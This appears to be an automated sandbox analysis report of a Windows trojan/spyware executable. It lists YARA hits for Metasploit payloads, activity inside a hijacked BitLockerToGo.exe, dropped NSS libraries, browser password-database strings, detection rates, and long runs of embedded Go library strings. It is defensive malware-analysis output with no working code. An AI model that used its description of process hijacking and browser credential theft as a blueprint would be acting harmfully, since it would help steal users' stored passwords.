Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.1843071659.0000000002500000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 00000000.00000002.1843071659.0000000002466000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research
Source: 00000000.00000002.1843071659.000000000232E000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research

Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe

Binary string: [0m[%s]%s %-44s address string too shortresource length too longunpacking Question.Classnon-empty decoder bufferencodeArray: nil elementstreamSafe was not resetmsgpack: unknown code %xflate: maxBits too largeBad 'interval' param: %s\Device\NamedPipe\cygwinrefining %#v to be > %#vrefining %#v to be < %#vNumberLowerBound for %#vNumberUpperBound for %#vLengthLowerBound for %#vLengthUpperBound for %#vchacha20: wrong key sizecould not resolve %q: %vThe string to transform.duplicate column name %qStdlen returned an errorinvalid field number: %dmismatching enum lengthsunknown extension degreeSouth Sudan Standard TimeUS Mountain Standard TimeMiddle East Standard TimeTransbaikal Standard TimeW. Mongolia Standard TimeAfghanistan Standard TimeNorth Korea Standard TimeUlaanbaatar Standard TimeVladivostok Standard TimeAUS Central Standard TimeAUS Eastern Standard TimeKaliningrad Standard TimeNew Zealand Standard Time2006-01-02T15:04:05Z07:00installation_repositoriesbloom bytes too big %d %dresource deadlock avoidedoperation now in progressno buffer space availableno such device or addresssocket type not supportedinvalid cross-device linkGetFinalPathNameByHandleWGetQueuedCompletionStatusUpdateProcThreadAttributenumber of sections is 10+LPSAFEARRAY_UserUnmarshalGetRecordInfoFromTypeInfoarray index out of bounds!#$%&'()-@^_`{}~+,.;=[]\/ARM Thumb-2 little endianMIPS little-endian WCE v2Chinese (Simplified) (zh)Mongolian (Cyrillic) (mn)Bangla Bangladesh (bn-BD)Bosnian (Latin) (bs-Latn)Central Kurdish (ku-Arab)Dari Afghanistan (prs-AF)Dutch Netherlands (nl-NL)English Australia (en-AU)English Hong Kong (en-HK)English Singapore (en-SG)French Caribbean (fr-029)French Congo, Drc (fr-CD)French Luxembourg (fr-LU)German Luxembourg (de-LU)Hungarian Hungary (hu-HU)Icelandic Iceland (is-IS)Kazakh Kazakhstan (kk-KZ)Kyrgyz Kyrgyzstan (ky-KG)Maori New Zealand (mi-NZ)Mapudungun Chile (arn-CL)Portuguese Brazil (pt-BR)Serbian (Latin) (sr-Latn)Setswana Botswana (tn-BW)Sinhala Sri Lanka (si-LK)Spanish Argentina (es-AR)Spanish Guatemala (es-GT)Spanish Nicaragua (es-NI)Tigrinya Ethiopia (ti-ET)Ukrainian Ukraine (uk-UA)Zulu South Africa (zu-ZA)` Contents are null-bytesgoroutine profile cleanupchansend: spurious wakeupruntime

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/22@0/1

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_6C857030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

1_2_6C857030

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_02769600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

1_2_02769600

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_02763720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

1_2_02763720

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\9GM2419D.htm

Jump to behavior

Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: BitLockerToGo.exe, 00000001.00000002.2077374540.000000001CBDC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2084238802.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: BitLockerToGo.exe, 00000001.00000002.2077374540.000000001CBDC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2084238802.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: BitLockerToGo.exe, 00000001.00000002.2077374540.000000001CBDC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2084238802.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: BitLockerToGo.exe, 00000001.00000002.2077374540.000000001CBDC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2084238802.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: BitLockerToGo.exe, BitLockerToGo.exe, 00000001.00000002.2077374540.000000001CBDC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2084238802.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: BitLockerToGo.exe, 00000001.00000002.2077374540.000000001CBDC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2084238802.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: BitLockerToGo.exe, 00000001.00000002.2077374540.000000001CBDC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2084238802.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: BitLockerToGo.exe, 00000001.00000003.1916221843.0000000022B59000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000003.1916221437.0000000002A70000.00000004.00000020.00020000.00000000.sdmp, IDAAKEHJDHJKEBFHJEGD.1.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: BitLockerToGo.exe, 00000001.00000002.2077374540.000000001CBDC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2084238802.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: BitLockerToGo.exe, 00000001.00000002.2077374540.000000001CBDC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000001.00000002.2084238802.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	ReversingLabs: Detection: 52%
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	Virustotal: Detection: 54%

Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: $github.com/mmcloughlin/addchain/meta
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: $set.Iterator[go.shape.interface {}]$func(map[string]interface {}) error$github.com/vmihailenco/msgpack/codes$map[reflect.Type]chan reflect.Value$map.bucket[string]function.Function$func(cty.unknownValRefinement) bool$func(string) cty.RefinementBuilder$func() protoreflect.EnumDescriptors$func(protoreflect.MethodDescriptor)$appendDescriptorProto_ExtensionRange$func() protoreflect.SourceLocations$func(int) protoreflect.ProtoMessage$func() protoreflect.OneofDescriptor$func() protoreflect.FieldDescriptor$struct { pragma.NoUnkeyedLiterals }$map[int32]protoreflect.ProtoMessage$func(protoreflect.ProtoMessage) int$map.bucket[chan struct {}]struct {}$func([]cty.Value) (cty.Type, error)$func() (cty.Value, hcl.Diagnostics)$func(impl.pointer) protowire.Number$func(protoreflect.MessageType) bool$[8]protoregistry.extensionsByNumber$*func(config.Element) config.Element$github.com/mmcloughlin/addchain/meta
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: &github.com/mmcloughlin/addchain/acc/ir
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: 'github.com/mmcloughlin/addchain/acc/ast
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: 'atomic.Pointer[encoding/gob.encEngine]'struct { F uintptr; X0 gob.typeInfo }'map.bucket[string]metrics.SampledValue'func(context.Context, metrics.Encoder)'func(int) protoreflect.FieldDescriptor'appendExtensionRangeOptions_Declaration'func() protoreflect.MessageDescriptors'func() protoreflect.ServiceDescriptors'func(protoreflect.EnumValueDescriptor)'func(int) protoreflect.OneofDescriptor'github.com/hashicorp/go-immutable-radix'map[protoreflect.Name]filedesc.Method'func(protoreflect.ExtensionType) error'func(impl.pointer, protoreflect.Value)'func(protoreflect.Value) reflect.Value'func(reflect.Value) protoreflect.Value'interface { XXX_MessageName() string }'func(protoreflect.FileDescriptor) bool'map[protoreflect.FullName]interface {}'func(func(protoreflect.EnumType) bool)'google.golang.org/grpc/internal/grpclog'github.com/mmcloughlin/addchain/acc/ast(func(bisect.dedup, *bisect.dedup) bool
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: (github.com/mmcloughlin/addchain/acc/pass
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: asn1:"optional,explicit,tag:1"(func(logrus.Level, logrus.Entry) error(func(hclog.Level, []uint8) (int, error)(func() credentials.TransportCredentials(func(time.Duration, time.Duration) bool(map.bucket[reflect.Type]msgpack.fields(func(int) protoreflect.MethodDescriptor(func() protoreflect.EnumValueDescriptor(func(protoreflect.FieldDescriptor) bool(map[string]protoreflect.FieldDescriptor(map[protoreflect.Name]filedesc.Message(func(protoreflect.FileDescriptor) error(map[protoreflect.Name]filedesc.Service(google.golang.org/protobuf/internal/impl(func(interface {}) protoreflect.Message(struct { F uintptr; X0 impl.Converter }(google.golang.org/protobuf/internal/strs(github.com/mmcloughlin/addchain/acc/pass(*struct { F uintptr; X0 int; X1 string }
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: .github.com/mmcloughlin/addchain/internal/print
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: Cgithub.com/consensys/gnark-crypto/field/generator/internal/addchain
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: Code>protobuf:"varint,1,opt,name=code,proto3" json:"code,omitempty"Cstruct { F uintptr; X0 convert.Conversion; X1 convert.Conversion }Cfunc(protoreflect.FullName, func(protoreflect.ExtensionType) bool)Cgithub.com/consensys/gnark-crypto/field/generator/internal/addchain
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: invalid empty Content-Lengthnet/http: invalid trailer %shttp: no Host in request URLjson: Unmarshal(non-pointer !#$%&()*+-./:;<=>?@[]^_{\|}~ unexpected end of JSON input after object key:value pair18189894035458564758300781259094947017729282379150390625reflect.MakeSlice: len > capzero precision finite numberbig: misuse of expNNWindowednegative n for ProbablyPrimehex string without 0x prefixunexpected type %T for Bytes0x64616f2d686172642d666f726bX-Consul-Translate-Addresses/v1/connect/ca/configuration/v1/connect/intentions/exact/v1/connect/intentions/match/v1/connect/intentions/checkfailed to create session: %v/v1/operator/autopilot/statepeering name cannot be emptyUnexpected response code: %dcannot unmarshal DNS messageerror encoding cty.Value: %serror decoding cty.Value: %sunsupported type in set hash%s required, but received %scannot parse '%s' as int: %sfailed to serialize type: %svalue must be a whole numberexpected string but found %Tfailed to read set value: %sfailed to read map value: %sGetSecurityDescriptorControlInitializeSecurityDescriptorSetSecurityDescriptorControlFindFirstChangeNotificationWGetProcessShutdownParametersSetProcessShutdownParametersWTSGetActiveConsoleSessionIdSetupDiClassGuidsFromNameExWSetupDiDestroyDeviceInfoListSetupDiDestroyDriverInfoListabi.NewName: name too long: x509: invalid RSA public keyx509: invalid DSA public keyx509: invalid DSA parametersx509: negative serial numberx509: unknown elliptic curvecurrent time %s is before %sasn1: string not valid UTF-8reflect: In of non-func typereflect: Key of non-map typetls: malformed ECHConfigListEd25519 verification failuremultipart: message too largemultipart: boundary is emptymalformed MIME header line: invalid byte in chunk lengthinvalid proxy address %q: %vpending ASN.1 child too longFailed to obtain reader, %v
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: failed to construct HKDF label: %sGODEBUG sys/cpu: can not disable "invalid nested repetition operatorinvalid or unsupported Perl syntaxError loading file from CAPath: %sname too long (%d bytes): %.20q...msgpack: Decode(nonaddressable %T)crypto/rsa: missing public moduluscrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapchacha20: wrong HChaCha20 key sizecustomdecode.ExpressionClosureTypeMultiplies the given number by -1.the size argument must be positiveunsupported value for %q at %d: %sbad tag in lazy extension decodingmismatching field: got %v, want %vonly degrees 1 and 2 are supported2006-01-02T15:04:05.999999999Z07:00non-positive interval for NewTickerrlp: non-canonical size informationrlp: cannot encode negative big.Intcould not find the kernel32 DLL: %vcrypto/md5: invalid hash state sizeencoding/hex: odd length hex stringnetwork dropped connection on resettransport endpoint is not connectedstrings.Reader.Seek: invalid whenceoptional header checksum is invalidCOFF symbols count is absurdly highnot a PE file, smaller than tiny PEEnglish Trinidad And Tobago (en-TT)Kanuri (Latin) Nigeria (kr-Latn-NG)Serbian (Latin) Serbia (sr-Latn-RS)` SizeOfRawData is larger than filepersistentalloc: align is too large/memory/classes/heap/released:bytesgreyobject: obj not pointer-alignedmismatched begin/end of activeSweepmheap.freeSpanLocked - invalid freefailed to get or create weak handleattempt to clear non-empty span setruntime: close polldesc w/o unblockruntime: inconsistent read deadlineNtCreateWaitCompletionPacket failedfindrunnable: netpoll with spinningpidleput: P has non-empty run queuetraceback did not unwind completelyruntime: createevent failed; errno=http: server closed idle connectionCONTINUATION frame with stream ID 01776356839400250464677810668945312588817841970012523233890533447265625ryuFtoaFixed32 called with prec > 9isReflexive called on non-key type " is unexported but missing PkgPathreflect.MakeSlice of non-slice typemime: bogus characters after %%: %q'_' must separate successive digitshex number with leading zero digitsbigmod: modulus is smaller than natMust specify an ID in Policy Updateset value for either %q or %q in %qthe value %q cannot parsed as floatTupleElementTypes on non-tuple Typevalue does not have given index keymust not call MapVal with empty mapvalue has no attribute of that nameelement key for list must be number%s: unsupported type for squash: %sweird number of bits in target uintnot enough tuple elements (need %d)SubscribeServiceChangeNotificationsfile type does not support deadlinex509: malformed extension OID fieldx509: wrong Ed25519 public key sizex509: invalid authority info accesssuperfluous leading zeros in lengthexecutable file not found in %PATH%ber2der: BER tag length is negativeunsupported signature algorithm: %vtls: too many non-advancing recordstls: server selected an invalid PSKtls: invalid Kyber server key sharehpack: invalid Huffman-encoded datadynamic table size update too largeP224 poi
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: failed to construct HKDF label: %sGODEBUG sys/cpu: can not disable "invalid nested repetition operatorinvalid or unsupported Perl syntaxError loading file from CAPath: %sname too long (%d bytes): %.20q...msgpack: Decode(nonaddressable %T)crypto/rsa: missing public moduluscrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapchacha20: wrong HChaCha20 key sizecustomdecode.ExpressionClosureTypeMultiplies the given number by -1.the size argument must be positiveunsupported value for %q at %d: %sbad tag in lazy extension decodingmismatching field: got %v, want %vonly degrees 1 and 2 are supported2006-01-02T15:04:05.999999999Z07:00non-positive interval for NewTickerrlp: non-canonical size informationrlp: cannot encode negative big.Intcould not find the kernel32 DLL: %vcrypto/md5: invalid hash state sizeencoding/hex: odd length hex stringnetwork dropped connection on resettransport endpoint is not connectedstrings.Reader.Seek: invalid whenceoptional header checksum is invalidCOFF symbols count is absurdly highnot a PE file, smaller than tiny PEEnglish Trinidad And Tobago (en-TT)Kanuri (Latin) Nigeria (kr-Latn-NG)Serbian (Latin) Serbia (sr-Latn-RS)` SizeOfRawData is larger than filepersistentalloc: align is too large/memory/classes/heap/released:bytesgreyobject: obj not pointer-alignedmismatched begin/end of activeSweepmheap.freeSpanLocked - invalid freefailed to get or create weak handleattempt to clear non-empty span setruntime: close polldesc w/o unblockruntime: inconsistent read deadlineNtCreateWaitCompletionPacket failedfindrunnable: netpoll with spinningpidleput: P has non-empty run queuetraceback did not unwind completelyruntime: createevent failed; errno=http: server closed idle connectionCONTINUATION frame with stream ID 01776356839400250464677810668945312588817841970012523233890533447265625ryuFtoaFixed32 called with prec > 9isReflexive called on non-key type " is unexported but missing PkgPathreflect.MakeSlice of non-slice typemime: bogus characters after %%: %q'_' must separate successive digitshex number with leading zero digitsbigmod: modulus is smaller than natMust specify an ID in Policy Updateset value for either %q or %q in %qthe value %q cannot parsed as floatTupleElementTypes on non-tuple Typevalue does not have given index keymust not call MapVal with empty mapvalue has no attribute of that nameelement key for list must be number%s: unsupported type for squash: %sweird number of bits in target uintnot enough tuple elements (need %d)SubscribeServiceChangeNotificationsfile type does not support deadlinex509: malformed extension OID fieldx509: wrong Ed25519 public key sizex509: invalid authority info accesssuperfluous leading zeros in lengthexecutable file not found in %PATH%ber2der: BER tag length is negativeunsupported signature algorithm: %vtls: too many non-advancing recordstls: server selected an invalid PSKtls: invalid Kyber server key sharehpack: invalid Huffman-encoded datadynamic table size update too largeP224 poi
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: failed to construct HKDF label: %sGODEBUG sys/cpu: can not disable "invalid nested repetition operatorinvalid or unsupported Perl syntaxError loading file from CAPath: %sname too long (%d bytes): %.20q...msgpack: Decode(nonaddressable %T)crypto/rsa: missing public moduluscrypto/des: invalid buffer overlapcrypto/rc4: invalid buffer overlapchacha20: wrong HChaCha20 key sizecustomdecode.ExpressionClosureTypeMultiplies the given number by -1.the size argument must be positiveunsupported value for %q at %d: %sbad tag in lazy extension decodingmismatching field: got %v, want %vonly degrees 1 and 2 are supported2006-01-02T15:04:05.999999999Z07:00non-positive interval for NewTickerrlp: non-canonical size informationrlp: cannot encode negative big.Intcould not find the kernel32 DLL: %vcrypto/md5: invalid hash state sizeencoding/hex: odd length hex stringnetwork dropped connection on resettransport endpoint is not connectedstrings.Reader.Seek: invalid whenceoptional header checksum is invalidCOFF symbols count is absurdly highnot a PE file, smaller than tiny PEEnglish Trinidad And Tobago (en-TT)Kanuri (Latin) Nigeria (kr-Latn-NG)Serbian (Latin) Serbia (sr-Latn-RS)` SizeOfRawData is larger than filepersistentalloc: align is too large/memory/classes/heap/released:bytesgreyobject: obj not pointer-alignedmismatched begin/end of activeSweepmheap.freeSpanLocked - invalid freefailed to get or create weak handleattempt to clear non-empty span setruntime: close polldesc w/o unblockruntime: inconsistent read deadlineNtCreateWaitCompletionPacket failedfindrunnable: netpoll with spinningpidleput: P has non-empty run queuetraceback did not unwind completelyruntime: createevent failed; errno=http: server closed idle connectionCONTINUATION frame with stream ID 01776356839400250464677810668945312588817841970012523233890533447265625ryuFtoaFixed32 called with prec > 9isReflexive called on non-key type " is unexported but missing PkgPathreflect.MakeSlice of non-slice typemime: bogus characters after %%: %q'_' must separate successive digitshex number with leading zero digitsbigmod: modulus is smaller than natMust specify an ID in Policy Updateset value for either %q or %q in %qthe value %q cannot parsed as floatTupleElementTypes on non-tuple Typevalue does not have given index keymust not call MapVal with empty mapvalue has no attribute of that nameelement key for list must be number%s: unsupported type for squash: %sweird number of bits in target uintnot enough tuple elements (need %d)SubscribeServiceChangeNotificationsfile type does not support deadlinex509: malformed extension OID fieldx509: wrong Ed25519 public key sizex509: invalid authority info accesssuperfluous leading zeros in lengthexecutable file not found in %PATH%ber2der: BER tag length is negativeunsupported signature algorithm: %vtls: too many non-advancing recordstls: server selected an invalid PSKtls: invalid Kyber server key sharehpack: invalid Huffman-encoded datadynamic table size update too largeP224 poi
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: depgithub.com/mmcloughlin/addchainv0.4.0h1:SobOdjm2xLj1KkXN5/n0xTIWyZA2+s99UCY1iPfkHRY=
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/internal/bigint.Equal
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/internal/bigint.EqualInt64
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/internal/bigint.Pow2
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/internal/bigint.One
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/internal/bigint.Mask
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/internal/bigint.Ones
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/internal/bigints.Contains
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/internal/bigints.Index
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.Chain.Clone
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/internal/bigints.Clone
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.(*Chain).AppendClone
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/internal/bigint.Clone
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.Chain.End
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.Chain.Ops
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.Chain.Op
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.Chain.Program
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/internal/bigint.Zero
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.Chain.Validate
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.Chain.Produces
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.Chain.Superset
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.Chain.IsAscending
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.Op.IsDouble
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.Op.Operands
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.Op.Uses
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.(*Program).Shift
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.(*Program).Double
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.(*Program).Add
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.Program.boundscheck
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.Program.Doubles
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.Program.Count
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.Program.Adds
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.Program.Evaluate
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.New
